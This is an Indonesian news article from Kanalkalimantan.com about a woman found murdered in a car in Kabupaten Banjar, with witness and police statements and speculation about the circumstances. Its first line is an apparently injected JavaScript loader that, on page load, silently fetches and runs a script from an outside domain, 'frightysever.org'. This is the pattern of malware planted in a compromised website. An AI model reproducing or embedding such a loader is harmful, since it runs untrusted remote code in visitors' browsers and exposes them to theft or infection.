(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Rentetan kasus pembunuhan sadis menguncang Kalsel. Belum tuntas duka kasus tewasnya M Rahmadi alias Madi (19) yang ditemukan tanpa kepala di daerah Lok Baintan, Kecamatan Sungai Tabuk, Kabupaten Banjar, Selasa (20/11) lalu, kasus pembunuhan lagi terjadi di pinggiran Jl A Yanu Km 11.8, Kabupaten Banjar, Jumat (23/11). Korban adalah seorang perempuan bernama Levie Pricilia (35) warga Jl Agraria, Telaga Biru, Banjarmasin Barat.
Korban ditemukan tewas dengan kondisi mengalami luka di bagian kepala dan leher di dalam mobil Suzuki Swift berwarna biru berplat DA 1879 TN.
Berdasarkan pantauan Kanalkalimantan.com di lapangan, warga di sekitar lokasi ikut mendatangi lokasi penemuan kasus pembunuhan ini. Sementara Kapolres Banjar AKBP Takdir Mattanete langsung melakukan proses identifikasi dengan mengamankan beberapa barang bukti yang berada di dalam mobil. Mulai makanan ringan, gelas air mineral, tas perempuan dan tas anak-anak, dan sendal orang dewasa.
Seorang saksi mata bernama Nuraini, pemilik showroom Firdaus Motor mengatakan, temuan mobil tersebut pertama kali didapati oleh anaknya sekitar pukul 09.00 Wita. Penasaran dengan mobil yang terparkir cukup lama, anaknya mencoba mengintip mobil tersebut.
Betapa kaget, setelah didapatilah sesosok mayat perempuan yang masih belum tahu identitasnya dengan kondisi luka dileher dan berlumuran darah. “Waktu itu anak saya penasaran dengan mobil yang parkir di depan show room kami, sekitar pukul 09.00 Wita, ketika di intip ternyata ada mayat, anak saya melapor ke saya, saya laporkan lagi ketetangga, terus kepolisian,” terangnya.
Sementara itu Kasat Reskrim Polres Banjar, AKP Sofyan mengatakan untuk informasi korban masih belum bisa disampaikan. Mengingat masih dalam tahap pemeriksaan, namun pihaknya sudah mengantongi identitas korban. “Kita masih belum bisa menyampaikan informasi detailnya, nanti secara jelasnya akan kita sampaikan,†ujarnya.
Untuk saat ini setelah dilakukan pemeriksaan oleh kepolisian, korban dibawa menggunakan mobil dari tim Nurul Hadi NH rescue Kertak Hanyar menuju ke RSUD Ulin Banjarmasin.
Lalu apakah Levie merupakan korban perampokan? Semua belum jelas. Yang patut dicermati adalah, korban di dalam mobil dalam posisi sendiri dan sedang duduk di kursi depan di samping sopir. Yang menarik untuk diajukan pertanyaan adalah, apakah korban menyetir mobil sendiri? Jika iya, kenapa kemudian dia pindah posisi di samping sopir?
Atau jika ada yang menyopiri, tentunya orang bersangkutan memiliki pengetahuan lebih tentang kronologi kejadin tersebut. Sebab dilihat dari kondisi mayat, diduga korban tewas tidak terlalu lama dari ditemukan jenazah.
Namun, apa yang terjadi tentunya menunggu hasil dari investigasi polisi yang sampai saat ini masih mendalami kasus tersebut. (rendy/Mario)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.